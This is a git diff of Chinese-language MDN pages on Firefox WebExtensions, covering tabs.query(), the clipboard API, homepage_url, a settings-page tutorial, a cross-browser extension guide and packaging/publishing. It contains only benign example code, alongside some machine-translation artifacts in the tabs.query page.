请参阅 \WebExtAPIRef("选项卡")。Tab")=文档以了解有关这些属性的详细信息。

+ +
+
active[optional_inline]
+
boolean.选项卡是否在窗口中处于活动状态。
+
audible[optional_inline]
+
boolean.标签是否可听见。
+
autoDiscardable[optional_inline]
+
boolean.当资源不足时,浏览器是否可以自动丢弃选项卡。
+
cookieStoreId[optional_inline]
+
string.使用此仅返回其 Cookie 存储 ID 为 的选项卡。此选项仅在加载项具有权限时才可用cookieStoreId"cookies"
+
currentWindow[optional_inline]
+
boolean.选项卡是否在当前窗口中。
+
discarded[optional_inline]
+
boolean.是否丢弃选项卡。丢弃的选项卡是其内容已从内存中卸载,但仍在选项卡条中可见的选项卡。下次激活时,其内容将重新加载。
+
hidden[optional_inline]
+
boolean.选项卡是否隐藏。
+
highlighted[optional_inline]
+
boolean.选项卡是否突出显示。
+
index[optional_inline]
+
integer.选项卡在其窗口中的位置。
+
muted[optional_inline]
+
boolean.选项卡是否为静音。
+
lastFocusedWindow[optional_inline]
+
boolean.选项卡是否在上一个焦点窗口中。
+
pinned[optional_inline]
+
boolean.选项卡是否固定。
+
status[optional_inline]
+
{WebExtAPIRef('选项卡。TabStatus ')=。选项卡是否已完成加载。
+
title[optional_inline]
+
string.将页面标题与图案匹配。
+
url[optional_inline]
+
string或。将选项卡与一个或多个匹配模式匹配。请注意,片段标识符不匹配。array of string
+
windowId{{optional_inline}}
+
integer. The of the parent window, or {{WebExtAPIRef('windows.WINDOW_ID_CURRENT')}} for the current window.id
+
windowType{{optional_inline}}
+
{{WebExtAPIRef('tabs.WindowType')}}. The type of window the tabs are in.
+
+
+
+ +

Return value

+ +

A that will be fulfilled with an of objects, containing information about each matching tab.Promisearray{{WebExtAPIRef('tabs.Tab')}}

+ +

If any error occurs, the promise will be rejected with an error message.

+ +

Examples

+ +

Get all tabs:

+ +
function logTabs(tabs) {
+  for (let tab of tabs) {
+    // tab.url requires the `tabs` permission
+    console.log(tab.url);
+  }
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+let querying = browser.tabs.query({});
+querying.then(logTabs, onError);
+ +

Get all tabs in the current window:

+ +
function logTabs(tabs) {
+  for (let tab of tabs) {
+    // tab.url requires the `tabs` permission
+    console.log(tab.url);
+  }
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+let querying = browser.tabs.query({currentWindow: true});
+querying.then(logTabs, onError);
+ +

Get the active tab in the current window:

+ +
function logTabs(tabs) {
+  // tabs[0].url requires the `tabs` permission
+  console.log(tabs[0].url);
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+let querying = browser.tabs.query({currentWindow: true, active: true});
+querying.then(logTabs, onError);
+ +

Get tabs for all HTTP and HTTPS URLs under or any of its subdomains:"mozilla.org"

+ +
function logTabs(tabs) {
+  for (let tab of tabs) {
+    // tab.url requires the `tabs` permission
+    console.log(tab.url);
+  }
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+let querying = browser.tabs.query({url: "*://*.mozilla.org/*"});
+querying.then(logTabs, onError);
+ +

{{WebExtExamples}}

+ +

Browser compatibility

+ + + +

{{Compat("webextensions.api.tabs.query")}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.tabs API. This documentation is derived from tabs.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/\346\237\245\350\257\242/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/\346\237\245\350\257\242/index.html" deleted file mode 100644 index 9afe6e80a8..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/\346\237\245\350\257\242/index.html" +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: 选项卡. 查询 () -slug: Mozilla/Add-ons/WebExtensions/API/tabs/查询 -translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/query ---- -
[阿登侧边栏()]
- -

获取具有指定属性的所有选项卡,如果未指定任何属性,则获取所有选项卡。

- -

这是返回 的异步函数。Promise

- -

语法

- -
let querying = browser.tabs.query(queryObj)
-
- -

参数

- -
-
queryObj
-
-

object.函数将仅获取其属性与此处包含的属性匹配的选项卡。query()

- -

请参阅 \WebExtAPIRef("选项卡")。Tab")=文档以了解有关这些属性的详细信息。

- -
-
active[optional_inline]
-
boolean.选项卡是否在窗口中处于活动状态。
-
audible[optional_inline]
-
boolean.标签是否可听见。
-
autoDiscardable[optional_inline]
-
boolean.当资源不足时,浏览器是否可以自动丢弃选项卡。
-
cookieStoreId[optional_inline]
-
string.使用此仅返回其 Cookie 存储 ID 为 的选项卡。此选项仅在加载项具有权限时才可用cookieStoreId"cookies"
-
currentWindow[optional_inline]
-
boolean.选项卡是否在当前窗口中。
-
discarded[optional_inline]
-
boolean.是否丢弃选项卡。丢弃的选项卡是其内容已从内存中卸载,但仍在选项卡条中可见的选项卡。下次激活时,其内容将重新加载。
-
hidden[optional_inline]
-
boolean.选项卡是否隐藏。
-
highlighted[optional_inline]
-
boolean.选项卡是否突出显示。
-
index[optional_inline]
-
integer.选项卡在其窗口中的位置。
-
muted[optional_inline]
-
boolean.选项卡是否为静音。
-
lastFocusedWindow[optional_inline]
-
boolean.选项卡是否在上一个焦点窗口中。
-
pinned[optional_inline]
-
boolean.选项卡是否固定。
-
status[optional_inline]
-
{WebExtAPIRef('选项卡。TabStatus ')=。选项卡是否已完成加载。
-
title[optional_inline]
-
string.将页面标题与图案匹配。
-
url[optional_inline]
-
string或。将选项卡与一个或多个匹配模式匹配。请注意,片段标识符不匹配。array of string
-
windowId{{optional_inline}}
-
integer. The of the parent window, or {{WebExtAPIRef('windows.WINDOW_ID_CURRENT')}} for the current window.id
-
windowType{{optional_inline}}
-
{{WebExtAPIRef('tabs.WindowType')}}. The type of window the tabs are in.
-
-
-
- -

Return value

- -

A that will be fulfilled with an of objects, containing information about each matching tab.Promisearray{{WebExtAPIRef('tabs.Tab')}}

- -

If any error occurs, the promise will be rejected with an error message.

- -

Examples

- -

Get all tabs:

- -
function logTabs(tabs) {
-  for (let tab of tabs) {
-    // tab.url requires the `tabs` permission
-    console.log(tab.url);
-  }
-}
-
-function onError(error) {
-  console.log(`Error: ${error}`);
-}
-
-let querying = browser.tabs.query({});
-querying.then(logTabs, onError);
- -

Get all tabs in the current window:

- -
function logTabs(tabs) {
-  for (let tab of tabs) {
-    // tab.url requires the `tabs` permission
-    console.log(tab.url);
-  }
-}
-
-function onError(error) {
-  console.log(`Error: ${error}`);
-}
-
-let querying = browser.tabs.query({currentWindow: true});
-querying.then(logTabs, onError);
- -

Get the active tab in the current window:

- -
function logTabs(tabs) {
-  // tabs[0].url requires the `tabs` permission
-  console.log(tabs[0].url);
-}
-
-function onError(error) {
-  console.log(`Error: ${error}`);
-}
-
-let querying = browser.tabs.query({currentWindow: true, active: true});
-querying.then(logTabs, onError);
- -

Get tabs for all HTTP and HTTPS URLs under or any of its subdomains:"mozilla.org"

- -
function logTabs(tabs) {
-  for (let tab of tabs) {
-    // tab.url requires the `tabs` permission
-    console.log(tab.url);
-  }
-}
-
-function onError(error) {
-  console.log(`Error: ${error}`);
-}
-
-let querying = browser.tabs.query({url: "*://*.mozilla.org/*"});
-querying.then(logTabs, onError);
- -

{{WebExtExamples}}

- -

Browser compatibility

- - - -

{{Compat("webextensions.api.tabs.query")}}

- -
Acknowledgements - -

This API is based on Chromium's chrome.tabs API. This documentation is derived from tabs.json in the Chromium code.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/index.html" deleted file mode 100644 index 5fecb4334f..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/index.html" +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: clipboard -slug: Mozilla/Add-ons/WebExtensions/API/剪切板 -tags: - - 剪切板 - - 扩展 - - 附加组件 -translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard ---- -
{{AddonSidebar}}
- -

WebExtention 的 clipboard API 增加了一个将图像复制到剪贴板的函数。目前,这个 API 仅支持复制图像,但我们期望它未来支持复制文本和 HTML(译者注:原文如此,可能是指被支持复制富内容之后的标准剪贴板 API 取代)。

- -

这个  WebExtension API 之所以存在,主要是因为标准的 Web 剪贴板 API Clipboard API 不支持将图像写入剪贴板。一旦标准剪贴板 API 对非文本剪贴板内容的支持进入通用状态,则此 API 可能会被弃用。

- -

Reading from the clipboard is not supported by this API, because the clipboard can already be read using the standard web platform APIs. See Interacting with the clipboard.

- -

This API is based on Chrome's clipboard API, but that API is only available for Chrome apps, not extensions.

- -

To use this API you need the "clipboardWrite" extension permission.

- -

函数

- -
-
{{WebExtAPIRef("clipboard.setImageData()")}}
-
复制图像到剪切板。
-
- -

浏览器兼容性

- -

{{Compat("webextensions.api.clipboard")}} {{WebExtExamples("h2")}}

- -
说明 - -

 此 API 基于 Chromium 的 chrome.clipboard API.

-
diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/setimagedata/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/setimagedata/index.html" deleted file mode 100644 index 3cdaf45b08..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/api/\345\211\252\345\210\207\346\235\277/setimagedata/index.html" +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: clipboard.setImageData() -slug: Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData -tags: - - API - - Clipboard - - 剪贴板 - - 参考 - - 拓展 - - 方法 -translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData ---- -
{{AddonSidebar()}}
- -

将图像复制到剪贴板。在将图像写入剪贴板之前,会对图像进行重新编码。如果图像无效,则不会修改剪贴板。

- -

图像被作为包含经过编码的图像的 ArrayBuffer 提供。支持 JPEG 和 PNG 格式。

- -

基于 Chrome 的 clipboard.setImageData() API,但存在一些差异:

- - - -

这是一个返回 Promise 的异步函数。

- -

语法

- -
browser.clipboard.setImageData(imageData, imageType)
-
- -

参数

- -
-
imageData
-
An ArrayBuffer containing the encoded image data to copy to the clipboard.
-
imageType
-
A {{domxref("DOMString")}} indicating the type of image contained in imageData: "png" or "jpeg".
-
- -

返回值

- -

A Promise that will be resolved with no arguments if the operation succeeded, or rejected if there was an error (for example, because the data did not represent a valid image).

- -

浏览器兼容性

- - - -

{{Compat("webextensions.api.clipboard.setImageData", 10)}}

- -

示例

- -

Copy a remote image:

- -
// requires:
-// * the host permission for "https://cdn.mdn.mozilla.net/*"
-// * the API permission "clipboardWrite"
-
-fetch('https://cdn.mdn.mozilla.net/static/img/favicon144.png')
-.then(response => response.arrayBuffer())
-.then(buffer => browser.clipboard.setImageData(buffer, 'png'));
- -

Copy an image that was bundled with the extension:

- -
// requires the API permission "clipboardWrite"
-
-fetch(browser.runtime.getURL('image.png'))
-.then(response => response.arrayBuffer())
-.then(buffer => browser.clipboard.setImageData(buffer, 'png'));
- -

{{WebExtExamples}}

- -
说明 - -

 此 API 基于 Chromium 的 chrome.clipboard API.

-
diff --git a/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html b/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html new file mode 100644 index 0000000000..6d1a21497c --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html @@ -0,0 +1,275 @@ +--- +title: 构建一个跨浏览器的扩展程序 +slug: Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件 +tags: + - Web插件 + - 扩展 + - 指南 + - 插件 +translation_of: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension +--- +

{{AddonSidebar()}}

+ +

浏览器扩展 API 的引入为浏览器扩展的开发创造了 “一次开发跨浏览器” 的前景。然而,在使用扩展 API 的浏览器中(主要是 Chrome、 Firefox、 Opera 和 Edge) ,API 的实现和覆盖范围都存在差异。除此之外,Safari 使用了它自己的 Safari 扩展脚本系统。

+ +

最大化兼容浏览器扩展意味着至少在两个不同的浏览器上兼容同一个扩展。本文探讨了在创建跨浏览器扩展时所面临的六个主要挑战,并在每种情况下提出了如何应对这些挑战。

+ +

本文不讨论为 Safari 构建浏览器扩展。您可以通过 Safari 扩展共享一些资源,比如图片和 HTML 内容。然而,如果您要进行 JavaScript 部分的编程则需要作为一个单独的开发项目进行,除非您希望创建自己的 polyfill。

+ +

跨平台扩展的开发障碍

+ +

在开发跨平台扩展时,需要注意以下六个方面:

+ + + +

API 命名空间

+ +

在四大主流浏览器中,有两个 API 命名空间正在使用:

+ + + +

Firefox 也支持 Chrome 浏览器的 chrome.* 名称空间,主要用于协助扩展移植。然而,首选应该使用浏览器 browser.* 命名空间。除了被提议的标准外, browser.* 使用 promises ーー一种现代化且简单的处理异步事件机制。

+ +

只有在非常小的扩展中,命名空间才可能是唯一的跨平台问题。因此,如果你遇到了且试图专门解决这个问题的话,可能很少会有帮助。最好的方法是通过异步事件处理来解决这个问题。

+ +

API 异步事件处理

+ +

在四个主要浏览器中,有两种方法可以处理异步事件:

+ + + +

Firefox 还支持 chrome.* 命名空间中的 callbacks 风格的 API,这主要是为了便于从 Chrome 迁移。然而,应该首选使用 promises(以及 browser.* 命名空间),它已被采纳为拟议标准的一部分。它极大地简化了异步事件处理,特别是在需要将事件链接在一起的情况下。

+ +
+

如果你对这两种方法之间的差异不熟悉,可以看一下 了解异步 JavaScript: Callbacks、 Promises 和 Async/Await 或者 MDN 的 Using promises 页面。

+
+ +

浏览器扩展 API 的垫片(Polyfill)

+ +

那么,当 Firefox 是唯一支持它的浏览器时,你如何轻松地使用 promises 呢?解决方案是使用 promises 为 Firefox 编程,并使用浏览器扩展 API 的垫片(Polyfill)
+
+ 这个 polyfill 解决了跨 Firefox、 Chrome 和 Opera 的 API 名称空间和异步事件处理。在撰写本报告时(2018年11月) ,Edge 的支持正在开发中。
+
+ 要使用 polyfill,可以使用 npm 安装到开发环境中,或者直接从 GitHub Relase 页面下载。

+ +

然后,引入 browser-polyfill.js 到:

+ + + +

例如,这个 manifest.json 代码让你的后台脚本可以使用 polyfill:

+ +
{
+ // ...
+ "background": {
+   "scripts": [
+     "browser-polyfill.js",
+     "background.js"
+   ]
+ }
+}
+ +

您的目标是确保在任何其他扩展脚本执行 browser.* API 前执行 polyfill。

+ +
+

关于如何使用模块打包器使用 polyfill 的更多细节和信息,请参阅 GitHub 上的项目自述文件

+
+ +

还有其他的 polyfill 选项,但是在撰写本文时,没有一个提供浏览器扩展 API polyfill 的覆盖范围。所以,如果你没有把 Firefox 作为你的首选,你的选择就是接受 polyfills 的限制,移植到 Firefox 并添加跨浏览器的支持,或者开发你自己的 polyfill。

+ +

API 函数覆盖率

+ +

这四个主要浏览器提供的 API 函数的实现差异可分为三大类:

+ + + +

你可以在 Mozilla Developer Network 浏览器对 JavaScript API 页面的支持上找到4个主要浏览器对扩展 API 的支持细节,以及 Firefox for Android 对扩展 API 的支持细节。浏览器兼容性信息也包含在每个函数及其方法、类型和事件的 Mozilla Developer Network JavaScript APIs 参考页面中。

+ +

处理 API 差异

+ +

解决这些差异的一个简单方法是将扩展中使用的函数限制在没有 API 差异的函数范围内。在实践中,对于大多数扩展,这种方法可能限制性太强。
+
+ 相反,如果 API 之间存在差异,则应该提供替代实现或降级功能。(请记住: 您可能还需要这样考虑同一浏览器的不同版本之间的 API 支持差异。)

+ +

使用运行时检查函数特性的可用性是实现备选或降级功能的推荐方法。执行运行时检查的好处是,如果函数是可用的,您不需要更新和重新分发扩展来使用它。

+ +

下面的代码使您能够执行运行时检查:

+ +
if (typeof <function> === "function") {
+   // safe to use the function
+}
+ +

Manifest 字段

+ +

4个主要浏览器支持的 manifest.json 文件字段的差异大致可分为三类:

+ + + +

浏览器兼容性信息包含在 Mozilla Developer Network manifest.json 页的每个字段中。

+ +

manifest.json 文件在不同浏览器之间的版本号可能有所不同,为每个浏览器创建和编辑一个静态版本号通常是最简单的方法。

+ +

扩展打包

+ +

通过浏览器扩展商店打包和分发扩展相对简单。

+ + + +

有关打包的详细信息,请参阅相应扩展的开发人员门户网站上的指南。

+ +

扩展发布

+ +

这四种主要浏览器都维护有浏览器扩展商店。每个商店还对扩展进行审核,以检查安全漏洞。

+ +

因此,您需要为每个商店分别添加和更新扩展。在某些情况下,您可以使用脚本上传扩展。

+ +

下表总结了每个商店的做法和特点:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

注册费

+
+

上传模块

+
+

发布审核

+
+

开发者账号需要2FA验证

+
+

Firefox

+
+

+
+

web-ext

+
+

全自动,仅需要几秒钟1

+
+

+
+

Chrome

+
+

+
+

+
+

全自动,短于一小时

+
+

+
+

Opera

+
+

+
+

+
+

人工审核,但不需要提供SLA

+
+

+
+

Edge

+
+

+
+

+
+

人工审核,需要72小时2

+
+

+
+ +

1 在发布后会延期进行一次人工审查,如果发现了需要解决的问题,可能导致扩展被暂停。

+ +

2 在撰写本文时,微软只允许发布预先批准的扩展。

+ +

其他考虑

+ +

扩展命名

+ +

Microsoft 要求扩展具有唯一的名称,并通过 Windows Dev Center 为扩展声明一个或多个名称。因此,即使您不打算立即支持 Edge,为微软保留一个扩展名可能是最谨慎的做法。

+ +

版本号指定

+ +

Firefox 和 Chrome 商店要求每个上传的扩展发布包都有一个单独的版本号。这意味着如果在线上遇到问题,就不能恢复到之前的版本号。

+ +

在不同的实现中共享资源

+ +

即使你要支持的平台中包括 Safari,仍然可以在对于不同浏览器的实现中共享许多资源。其中包括:

+ + + +

总结

+ +

在进行跨平台扩展开发时,可以通过对标 Firefox 和使用 WebExtension API Polyfill 来解决扩展 API 之间的根本差异。遵循这种方法,您将在使用与提议的 WebExtension API 标准紧密结合的 API 特性中受益,并使用 promises 来简单的处理异步事件。

+ +

跨平台工作的主要重点可能是处理主要浏览器支持的 API 特性之间的差异。创建你的 manifest.json 文件应该是相对简单的,你可以手动完成。然后,您将需要考虑扩展包中的打包差异,以及提交到每个扩展商店的过程差异。

+ +

您同时可以使用 browser-extension-template 用于快速设置、生成和发布浏览器扩展项目。

+ +

根据本文中的建议,您现在应该能够创建一个在四种主要浏览器上都运行良好的扩展程序,使您能够将扩展功能交付给更多的人。

diff --git a/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html b/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html new file mode 100644 index 0000000000..fe8ac2e0a7 --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html @@ -0,0 +1,203 @@ +--- +title: 实现一个设置页面 +slug: Mozilla/Add-ons/WebExtensions/实现一个设置页面 +translation_of: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page +--- +
{{AddonSidebar}}
+ +

设置页面可以让用户查看,修改扩展的一些设置。

+ +

对于WebExtensions,设置通常使用 storage API 保存. 实现一个设置页面通常包含以下三步:

+ + + +
+

你也可以使用 runtime.openOptionsPage() 打开该页面。

+
+ +

简单的 WebExtension

+ +

首先,我们写一个向用户访问的所有页面添加一个蓝色边框的扩展。

+ +

创建一个新的文件夹命名为“setting”,然后创建文件“manifest.json”它包含以下内容:

+ +
{
+
+  "manifest_version": 2,
+  "name": "Settings example",
+  "version": "1.0",
+
+  "content_scripts": [
+    {
+      "matches": ["<all_urls>"],
+      "js": ["borderify.js"]
+    }
+  ]
+
+}
+ +

该扩展指示浏览器在用户访问的网站上加载一个名为"borderify.js“的Content Script。

+ +

接下来,在"setting"目录下创建"borderify.js",然后给予他以下内容:

+ +
document.body.style.border = "10px solid blue";
+ +

这只是向网页加入了一一个蓝色边框

+ +

现在 安装该扩展 并测试它——打开任意一个网页:

+ +

{{EmbedYouTube("E-WUhihF8fw")}}

+ +

添加设置页面

+ +

现在让我们创建一个设置页面来允许用户设置边框的颜色。

+ +

首先更新 "manifest.json" 使他拥有如下内容:

+ +
{
+
+  "manifest_version": 2,
+  "name": "Settings example",
+  "version": "1.0",
+
+  "content_scripts": [
+    {
+      "matches": ["<all_urls>"],
+      "js": ["borderify.js"]
+    }
+  ],
+
+  "options_ui": {
+    "page": "options.html"
+  },
+
+  "permissions": ["storage"]
+
+}
+
+ +

我们加入了两个manifest 关键字:

+ + + +

接下来,因为我们承诺提供"options.html",让我们来创建他,在"setting"目录创建一个该文件并具有以下内容:

+ +
<!DOCTYPE html>
+
+<html>
+  <head>
+    <meta charset="utf-8">
+  </head>
+
+  <body>
+
+    <form>
+        <label>Border color<input type="text" id="color" ></label>
+        <button type="submit">Save</button>
+    </form>
+
+    <script src="options.js"></script>
+
+  </body>
+
+</html>
+
+ +

这里定义了一个带有标记文字{{htmlelement("input")}}的 {{htmlelement("form")}} 和一个 提交 {{htmlelement("button")}}. 也包含了一个名为"options.js"的脚本。

+ +

仍然在"settting"目录下创建 "options.js",并给予他以下内容:

+ +
function saveOptions(e) {
+  e.preventDefault();
+  browser.storage.local.set({
+    color: document.querySelector("#color").value
+  });
+}
+
+function restoreOptions() {
+
+  function setCurrentChoice(result) {
+    document.querySelector("#color").value = result.color || "blue";
+  }
+
+  function onError(error) {
+    console.log(`Error: ${error}`);
+  }
+
+  var getting = browser.storage.local.get("color");
+  getting.then(setCurrentChoice, onError);
+}
+
+document.addEventListener("DOMContentLoaded", restoreOptions);
+document.querySelector("form").addEventListener("submit", saveOptions);
+
+ +

它做了两件事:

+ + + +

最后,更新"borderify.js" 来读取边框颜色:

+ +
+

因为 browser.storage.local.get() 在火狐52版本之前的一个漏洞 ,以下代码没法起作用。为了使它生效,onGot()中的 item.color 必须改为 item[0].color。

+
+ +
 function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+function onGot(item) {
+  var color = "blue";
+  if (item.color) {
+    color = item.color;
+  }
+  document.body.style.border = "10px solid " + color;
+}
+
+var getting = browser.storage.local.get("color");
+getting.then(onGot, onError);
+
+ +

最后,完整的扩展看起来是这样:

+ +
settings/
+    borderify.js
+    manifest.json
+    options.html
+    options.js
+ +

现在:

+ + + +

在火狐中你可以通过访问"about:addons"点击扩展旁边的"Preferences"按钮访问设置页面。

+ +

{{EmbedYouTube("ECt9cbWh1qs")}}

+ +

进一步了解

+ + diff --git a/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html b/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html new file mode 100644 index 0000000000..01749d5ff3 --- /dev/null +++ b/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html @@ -0,0 +1,42 @@ +--- +title: homepage_url +slug: Mozilla/Add-ons/WebExtensions/manifest.json/主页地址 +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url +--- +
{{AddonSidebar}}
+ + + + + + + + + + + + + + + + +
值类型字符串(String)
强制性非强制
示例 +
+"homepage_url": "https://example.org/my-addon"
+
+ +

该扩展的主页地址。

+ +

如果 developer 键存在且包含“url”属性,它将会覆盖 homepage_url 键。

+ +

这是一个 localizable property.

+ +

示例

+ +
"homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify"
+ +

浏览器兼容性

+ + + +

{{Compat("webextensions.manifest.homepage_url")}}

diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/\344\270\273\351\241\265\345\234\260\345\235\200/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/\344\270\273\351\241\265\345\234\260\345\235\200/index.html" deleted file mode 100644 index 01749d5ff3..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/\344\270\273\351\241\265\345\234\260\345\235\200/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: homepage_url -slug: Mozilla/Add-ons/WebExtensions/manifest.json/主页地址 -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
值类型字符串(String)
强制性非强制
示例 -
-"homepage_url": "https://example.org/my-addon"
-
- -

该扩展的主页地址。

- -

如果 developer 键存在且包含“url”属性,它将会覆盖 homepage_url 键。

- -

这是一个 localizable property.

- -

示例

- -
"homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify"
- -

浏览器兼容性

- - - -

{{Compat("webextensions.manifest.homepage_url")}}

diff --git a/files/zh-cn/mozilla/add-ons/webextensions/packaging_and_installation/index.html b/files/zh-cn/mozilla/add-ons/webextensions/packaging_and_installation/index.html deleted file mode 100644 index 654aaea253..0000000000 --- a/files/zh-cn/mozilla/add-ons/webextensions/packaging_and_installation/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 打包和安装 -slug: Mozilla/Add-ons/WebExtensions/Packaging_and_installation -translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox -translation_of_original: Mozilla/Add-ons/WebExtensions/Packaging_and_installation ---- -

打包你的扩展

- -

Firefox 扩展应打包为 XPI 文件。它只是一个 ZIP 文件,但采用 .xpi 作为扩展名。

- -

最重要的一点,ZIP 文件必须是扩展文件的 ZIP 打包,不能包含一层根目录。

- -

Windows

- -
    -
  1. 打开你的扩展文件所在的文件夹。
  2. -
  3. 选择所有文件。
  4. -
  5. 右击并选择 发送到 → 压缩(zipped)文件夹。
  6. -
  7. 将得到的文件从 文件名.zip 重命名为 文件名.xpi
  8. -
- -

Screenshot of the Windows Explorer context menu showing Send to compressed (zipped) folder

- -

Mac OS X

- -
    -
  1. 打开你的扩展文件所在的文件夹。
  2. -
  3. 选择所有文件。
  4. -
  5. 右击并选择 压缩 n 项。
  6. -
  7. 将得到的文件从 Archive.zip 重命名为  文件名.xpi
  8. -
- -

Screenshot of the Finder context menu showing the Compress 15 Items option

- -

Linux / Mac OS X 终端

- -
    -
  1. cd path/to/my-extension/
  2. -
  3. zip -r ../my-extension.xpi *
  4. -
- -

安装你的扩展

- -
    -
  1. 导航到 about:addons
  2. -
  3. 拖拽 XPI 到页面上,或者打开齿轮菜单,选择“从文件安装附加组件...”
  4. -
  5. 点击弹出的对话框中的“安装”
  6. -
- -

在 Firefox OS 上安装你的扩展

- -

你可以使用 WebIDE 提供的 USB 或者 Wifi 进行安装

- -

故障排除

- -

下面是几种你可能会遇到的常见问题:

- -

"此附加组件无法安装,因为它未经验证。"

- - - -

"该附加组件无法安装,因为它似乎已损坏。"

- - - -

完全没反应

- - diff --git a/files/zh-cn/mozilla/add-ons/webextensions/porting_from_google_chrome/index.html b/files/zh-cn/mozilla/add-ons/webextensions/porting_from_google_chrome/index.html deleted file mode 100644 index 496abe0bd3..0000000000 --- a/files/zh-cn/mozilla/add-ons/webextensions/porting_from_google_chrome/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: 从 Google Chrome 移植 -slug: Mozilla/Add-ons/WebExtensions/Porting_from_Google_Chrome -tags: - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension ---- -
{{AddonSidebar}}
- -

使用 WebExtension API 开发的扩展是专为跨浏览器兼容而设计的:很大程度上,该技术与 Google Chrome 和 Opera 支持的扩展 API 代码直接兼容。为这些浏览器编写的扩展,在大多数情况下,只需少数修改就能在 Firefox 中运行。几乎所有的扩展 API 都支持使用 chrome 命名空间下的回调函数,跟 Chrome 一样。那些仅有的 chrome 命名空间不支持的 API 是故意不与 Chrome 兼容的。这些情况下,API 文档页将明确声明它仅在 browser 命名空间中受支持。从 Chrome 或者 Opera 移植一个扩展的过程大概这样:

- -
    -
  1. 检查你 manifest.json 使用的功能并了解 WebExtension API 对应的 Chrome 不兼容参考表。如果你在使用的功能或者 API 还未被 Firefox 支持,那你可能还不能移植你的扩展。Mozilla 提供了一个服务可助您自动执行此步:https://www.extensiontest.com/
  2. -
  3. 安装你的扩展至 Firefox 并对其进行测试。
  4. -
  5. 如有任何问题,可通过 dev-addons 邮件列表IRC 上的 #webextensions 联系我们。
  6. -
  7. 提交您的附加组件至 AMO 以供签名及分发
  8. -
- -

如果您依赖 Chrome 命令行选项来加载解压的扩展,请参看 Firefox 中进行临时安装的 web-ext 工具以便开发。

- - diff --git a/files/zh-cn/mozilla/add-ons/webextensions/publishing_your_webextension/index.html b/files/zh-cn/mozilla/add-ons/webextensions/publishing_your_webextension/index.html deleted file mode 100644 index e7792b75d4..0000000000 --- a/files/zh-cn/mozilla/add-ons/webextensions/publishing_your_webextension/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: 发布你的附加组件 -slug: Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension -tags: - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ ---- -
{{AddonSidebar}}
- -

一般当你完成了基于WebExtension技术的附加组件的代码编写和测试, 你可能会想与其他人分享这成果(不管出于什么目的...). Mozilla旗下有一个网站: addons.mozilla.org (简称AMO), 开发者们可以在这里发布附加组件, 而其他用户可以在这里找到这些附加组件并安装使用, 通过在AMO上发布你的附加组件, 你可以加入到我们的社区里来, 这里有一群用户和创造者, 说不准会发现几个使用你的附加组件的人哦.

- -

你编写的附加组件并不一定需要发布在AMO上, 但是、即使你不打算在AMO上发布你的附加组件, 你也必须提交你的附加组件到AMO上来进行审核以获得签名。因为火狐浏览器会拒绝安装没有AMO签名的附加组件。

- -

所以发布一个附加组件的流程, 可概述为:

- -
    -
  1. 压缩你所创建的附加组件文件
  2. -
  3. AMO上创建一个属于你的账户
  4. -
